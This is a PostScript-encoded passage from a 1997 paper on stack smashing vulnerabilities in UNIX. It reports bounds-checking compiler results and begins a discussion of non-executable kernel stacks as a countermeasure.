GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8232 M 7519 8073 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8106 M ( Compile-time: slowdown of 3 \(very small\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8072 M 1181 7913 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8072 M 7519 7913 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7946 M ( Executable size: much larger due to inclusion of library. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7912 M 1181 7753 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7912 M 7519 7753 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7786 M ( Matrix multiply \(ikj, using array subscription\): ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7752 M 1181 7593 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7752 M 7519 7593 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7626 M ( Execution time: slowdown of around 30 compared to unoptimised. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7592 M 1181 7433 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7592 M 7519 7433 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7466 M ( Compile-time: slowdown of around 2. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7432 M 1181 7259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7432 M 7519 7259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7306 M ( Executable size: roughly the same. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7253 M 7523 7253 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3290 7122 M (Example 9.2.a Jones and Kelly results) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 6853 M (Despite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1796 6853 M (semi-favorable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2876 6853 M (performance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3799 6853 M (statistics, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4494 6853 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4703 6853 M (addition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5327 6853 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5536 6853 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5819 6853 M (general ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6389 6853 M (risk ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6719 6853 M (involved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 6853 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6577 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1954 6577 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2215 6577 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2384 6577 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3042 6577 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3220 6577 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3518 6577 M (level, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3941 6577 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4239 6577 M (modification ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5147 6577 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5768 6577 M (patching ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6398 6577 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6696 6577 M (recompiling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6301 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1458 6301 M (existing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2036 6301 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2199 6301 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2843 6301 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3135 6301 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3344 6301 M (libraries. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4026 6301 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4954 6301 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5172 6301 M (previously ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5926 6301 M (compiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6597 6301 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 6301 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6025 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1404 6025 M (deleted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1926 6025 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2208 6025 M (recompiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2999 6025 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3336 6025 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3581 6025 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3900 6025 M (libraries. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4572 6025 M (Once ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4965 6025 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5247 6025 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5400 6025 M (done, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5807 6025 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6015 6025 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6584 6025 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6792 6025 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 6025 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5749 M (will execute with respect to this patch.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5473 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1904 5473 M (conclusion, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2730 5473 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3487 5473 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3754 5473 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3929 5473 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4593 5473 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4796 5473 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5063 5473 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5238 5473 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5894 5473 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6087 5473 M (limit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6465 5473 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 5473 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5197 M (opportunities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2128 5197 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2513 5197 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3119 5197 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3855 5197 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4101 5197 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4255 5197 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4898 5197 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5061 5197 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5178 5197 M (non-trivial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5923 5197 M (level. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6373 5197 M (Additionally, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5197 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4921 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1655 4921 M (complex ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2349 4921 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2710 4921 M (comprehensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3839 4921 M (solutions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4560 4921 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4820 4921 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5181 4921 M (nature, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5760 4921 M (despite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6352 4921 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6778 4921 M (long ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7194 4921 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4645 M (centralization, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2235 4645 M (still ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2567 4645 M (remain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3113 4645 M (largely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3658 4645 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4628 4645 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4951 4645 M (difficult ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5570 4645 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5782 4645 M (implement ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6577 4645 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6900 4645 M (test ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 4645 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 4645 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4369 M (reasonable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1972 4369 M (amount ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2528 4369 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2724 4369 M (time. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3161 4369 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3477 4369 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3877 4369 M (trivial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4331 4369 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5303 4369 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5499 4369 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5796 4369 M (nature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6269 4369 M (degenerate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7047 4369 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4093 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1542 4093 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2215 4093 M (warning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2841 4093 M (messages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3552 4093 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3882 4093 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4194 4093 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4570 4093 M (encourage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5335 4093 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5619 4093 M (programmer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6525 4093 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6735 4093 M (modify ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 4093 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3817 M (program manually.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 3516 M (11.3 CPU/OS kernel stack execution privilege) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3233 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2050 3233 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2458 3233 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3272 3233 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3966 3233 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4179 3233 M (preventing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4974 3233 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 3233 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5836 3233 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6549 3233 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2957 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1819 2957 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2560 2957 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2765 2957 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3441 2957 M (s) ST -3 0 MR (y) ST -3 0 MR (s) ST -4 0 MR (t) ST -4 0 MR (e) ST -4 0 MR (m) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4047 2957 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4511 2957 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5114 2957 M (limit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5476 2957 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5829 2957 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6126 2957 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6266 2957 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6619 2957 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6879 2957 M (cover ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 2957 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2681 M (actual ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1721 2681 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2185 2681 M (space. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2761 2681 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3179 2681 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3911 2681 M (effectively ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4745 2681 M (removes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5432 2681 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5757 2681 M (k) ST -3 0 MR (e) ST -3 0 MR (r) ST -4 0 MR (n) ST -4 0 MR (e) ST -4 0 MR (l) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6390 2681 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6854 2681 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2405 M (permission. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2087 2405 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2447 2405 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2733 2405 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2871 2405 M (fundamental ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3767 2405 M (advantages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4570 2405 M (over ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4930 2405 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5336 2405 M (counter-measures. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6660 2405 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6909 2405 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 2405 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2129 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1986 2129 M (method ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2536 2129 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2716 2129 M (limiting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3293 2129 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3686 2129 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4366 2129 M (vulnerabilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 2129 M (no ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5627 2129 M (recompilation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6602 2129 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6792 2129 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6954 2129 M (libraries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1853 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1442 1853 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1739 1853 M (actual ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2230 1853 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2916 1853 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3425 1853 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3676 1853 M (necessary, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4460 1853 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4849 1853 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5146 1853 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5868 1853 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6425 1853 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6935 1853 M (need ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 1853 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1577 M (recompiled. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2107 1577 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2299 1577 M (practical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2944 1577 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4060 1577 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4271 1577 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4583 1577 M (concept ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5172 1577 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 1577 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5685 1577 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6154 1577 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6854 1577 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 1577 M (is ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 27 27 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (described ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1887 9848 M (below, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2384 9848 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2673 9848 M (description ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3461 9848 M (touches ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4018 9848 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4233 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4485 9848 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4968 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5156 9848 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6249 9848 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6437 9848 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6772 9848 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6960 9848 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (the problems.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9296 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1941 9296 M (remove ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2488 9296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2877 9296 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3570 9296 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4208 9296 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 9296 M (UNIX, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4889 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5139 9296 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5814 9296 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6324 9296 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6944 9296 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (allocation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1926 9020 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2332 9020 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2535 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2802 9020 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3494 9020 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4021 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4196 9020 M (marked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4760 9020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4963 9020 M (non-executable. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6127 9020 M (Thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6566 9020 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7000 9020 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (started ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1713 8744 M (under ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2156 8744 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2525 8744 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2663 8744 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3143 8744 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3622 8744 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4000 8744 M 